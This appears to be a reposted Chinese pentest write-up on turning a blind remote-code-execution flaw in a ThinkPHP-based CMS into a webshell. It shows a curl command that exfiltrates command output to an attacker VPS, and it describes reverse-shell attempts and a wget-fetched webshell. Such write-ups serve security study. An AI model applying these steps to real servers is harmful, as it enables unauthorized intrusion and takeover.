【实战】无回显Rce到Getshell

  • A+
所属分类:安全文章
【实战】无回显Rce到Getshell
亲爱的,关注我吧
【实战】无回显Rce到Getshell

11/2

文章共计956个词

预计阅读8分钟

来和我一起阅读吧


作者:海鸥i转载自先知社区:https://xz.aliyun.com/t/8436


前言
某次渗透测试中,信息收集过程中找到一个登陆界面。
其中在测试逻辑漏洞过程中,修改参数的时候爆出了Debug,才有了接下来的过程。

如有哪里不足,望师傅们指出。

1、Rce
【实战】无回显Rce到Getshell
通过Debug信息得知,这是一个thinphp的cms
之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志。

【实战】无回显Rce到Getshell

通过Debug可以得知他的根目录在/www/wwwroot/devorder/public,我们只能访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径。

【实战】无回显Rce到Getshell

在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞。

【实战】无回显Rce到Getshell

经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞。
具体漏洞分析可以参考

 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用。

【实战】无回显Rce到Getshell

【实战】无回显Rce到Getshell

其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态。

【实战】无回显Rce到Getshell

于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名。
如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。
具体使用方法可以参考这位师傅写的文章:

https://www.cnblogs.com/sstfy/p/10351807.html

在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名。

【实战】无回显Rce到Getshell

成功收到请求

【实战】无回显Rce到Getshell

这种在线的只能简单的验证是否存在Rce,无法获得命令回显。

如果想获得命令回显,可以使用在线的Ceye平台来接收回显。

也可以使用自己的Vps来接收回显

在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。

例如:
curl 
http://Vps/`command`
这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
这段代码在执行完whoami后,会将返回的值拼接到
http://Vps/ 后。

我这里选择开启Web服务
再看这次返回结果,日志中的访问记录是
http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。

【实战】无回显Rce到Getshell

【实战】无回显Rce到Getshell

Getshell
尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。

以上两个问题,有知道的师傅方便的话通过评论告我一声,先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。

【实战】无回显Rce到Getshell

【实战】无回显Rce到Getshell

将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。

【实战】无回显Rce到Getshell

【实战】无回显Rce到Getshell

11/2

欢迎投稿至邮箱:[email protected]

有才能的你快来投稿吧!

【实战】无回显Rce到Getshell
“阅读原文”我们一起进步

本文始发于微信公众号(合天智汇):【实战】无回显Rce到Getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: